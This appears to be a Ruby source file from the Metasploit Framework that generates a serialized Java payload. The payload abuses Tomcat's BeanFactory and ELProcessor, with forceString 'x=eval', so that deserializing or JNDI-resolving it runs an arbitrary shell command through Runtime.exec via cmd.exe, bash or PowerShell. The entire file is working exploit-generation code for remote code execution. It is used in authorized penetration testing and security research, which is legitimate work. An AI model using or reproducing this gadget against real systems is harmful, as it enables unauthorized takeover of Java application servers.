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# -*- coding: binary -*-
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require 'stringio'
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require 'rex/java'
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module Msf
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module Util
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class JavaDeserialization
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  class BeanFactory
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    def self.generate(cmd, shell: nil)
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      js_escaped = "String.fromCharCode(#{cmd.each_char.map(&:ord).map(&:to_s).join(',')})"
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      # emulate the same behavior as the ysoserial-modified series,
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      # see: https://github.com/pimps/ysoserial-modified/blob/1bd423d30ae87074f94d6b9b687c17162f122c3d/src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java#L11
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      payload_string = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec("
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      case shell
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      when 'cmd'
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        payload_string << "[\\\"cmd.exe\\\",\\\"/c\\\",#{js_escaped}]"
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      when 'bash'
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        payload_string << "[\\\"/bin/bash\\\",\\\"-c\\\",#{js_escaped}]"
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      when 'powershell'
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        payload_string << "[\\\"powershell.exe\\\",\\\"-c\\\",#{js_escaped}]"
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      when nil
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        payload_string << js_escaped
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      else
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        raise NotImplementedError, "unsupported shell: #{shell.inspect}"
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      end
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      payload_string << ")\")}"
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      builder = Rex::Java::Serialization::Builder.new
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      stream = Rex::Java::Serialization::Model::Stream.new
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      stream.contents = [
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        builder.new_object(
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          name: 'org.apache.naming.ResourceRef',
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          serial: 1,
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          flags: 2,
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          annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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          super_class: builder.new_class(
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            name: 'org.apache.naming.AbstractRef',
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            serial: 1,
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            flags: 2,
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            annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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            super_class: builder.new_class(
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              name: 'javax.naming.Reference',
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              serial: 16773268283643759881,
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              flags: 2,
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              annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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            ).tap { |new_class|
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              new_class.fields = [
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                new_field(name: 'addrs', field_type: 'Ljava/util/Vector;'),
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                new_field(name: 'classFactory', field_type: 'Ljava/lang/String;'),
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                new_field(name: 'classFactoryLocation', field_type: new_ref(handle: 8257540)),
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                new_field(name: 'className', field_type: new_ref(handle: 8257540))
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              ]
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            },
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          ),
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          data: [
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            builder.new_object(
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              name: 'java.util.Vector',
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              serial: 15679138459660562177,
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              flags: 3,
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              annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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              data: [
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                ['int', 0],
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                ['int', 5],
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                # stream.contents.first.class_data[0].class_data[2]
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                builder.new_array(
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                  values_type: 'java.lang.Object;',
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                  name: '[Ljava.lang.Object;',
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                  serial: 10434374826863044972,
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                  flags: 2,
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                  annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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                  # stream.contents.first.class_data[0].class_data[2].values
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                  values: [
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                    # stream.contents.first.class_data[0].class_data[2].values[0]
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                    builder.new_object(
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                      name: 'javax.naming.StringRefAddr',
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                      serial: 9532981578571046089,
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                      flags: 2,
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                      annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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                      super_class: builder.new_class(
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                        name: 'javax.naming.RefAddr',
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                        serial: 16978578953230397258,
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                        flags: 2,
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                        annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
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                      ).tap { |new_class|
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                        new_class.fields = [
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                          new_field(name: 'addrType', field_type: new_ref(handle: 8257540))
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                        ]
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                      },
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                      data: [
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'scope'),
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                        Rex::Java::Serialization::Model::Utf.new(stream)
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                      ]
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                    ).tap { |new_object|
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                      new_object.class_desc.description.fields = [
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                        new_field(name: 'contents', field_type: new_ref(handle: 8257540))
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                      ]
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                    },
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                    # stream.contents.first.class_data[0].class_data[2].values[1]
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                    builder.new_object(
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                      description: new_ref(handle: 8257547),
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                      data: [
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'auth'),
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                        new_ref(handle: 8257551)
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                      ]
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                    ),
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                    builder.new_object(
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                      description: new_ref(handle: 8257547),
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                      data: [
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'singleton'),
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'true'),
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                      ]
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                    ),
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                    # stream.contents.first.class_data[0].class_data[2].values[3]
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                    builder.new_object(
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                      description: new_ref(handle: 8257547),
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                      data: [
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'forceString'),
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'x=eval'),
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                      ]
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                    ),
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                    # stream.contents.first.class_data[0].class_data[2].values[4]
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                    builder.new_object(
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                      description: new_ref(handle: 8257547),
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                      data: [
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                        Rex::Java::Serialization::Model::Utf.new(stream, 'x'),
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                        Rex::Java::Serialization::Model::Utf.new(stream, payload_string),
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                      ]
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                    ),
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                    # stream.contents.first.class_data[0].class_data[2].values[5]
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                    Rex::Java::Serialization::Model::NullReference.new,
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                    Rex::Java::Serialization::Model::NullReference.new,
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                    Rex::Java::Serialization::Model::NullReference.new,
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                    Rex::Java::Serialization::Model::NullReference.new,
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                    Rex::Java::Serialization::Model::NullReference.new,
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                  ]
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                )
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              ]
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            ).tap { |new_object|
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              new_object.class_desc.description.fields = [
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                new_field(type: 'int', name: 'capacityIncrement'),
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                new_field(type: 'int', name: 'elementCount'),
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                new_field(type: 'array', name: 'elementData', field_type: '[Ljava/lang/Object;')
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              ]
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            },
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            Rex::Java::Serialization::Model::EndBlockData.new,
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            Rex::Java::Serialization::Model::Utf.new(stream, 'org.apache.naming.factory.BeanFactory'),
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            Rex::Java::Serialization::Model::NullReference.new
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          ]
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        ),
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        Rex::Java::Serialization::Model::Utf.new(stream, 'javax.el.ELProcessor')
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      ]
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      stream.encode
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    end
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    class << self
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      private
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      # helper methods that are not in Rex::Java::Serialization::Builder
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      def new_field(opts = {})
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        name = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:name])
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        if opts[:field_type].is_a? String
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          field_type = Rex::Java::Serialization::Model::Utf.new(opts[:stream], opts[:field_type])
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        else
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          field_type = opts[:field_type]
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        end
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        field = Rex::Java::Serialization::Model::Field.new
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        field.type = opts[:type] || 'object'
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        field.name = name
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        field.field_type = field_type
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        field
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      end
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      def new_ref(opts = {})
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        ref = Rex::Java::Serialization::Model::Reference.new(opts[:stream])
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        ref.handle = opts[:handle]
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        ref
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      end
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    end
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  end
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end
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end
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end
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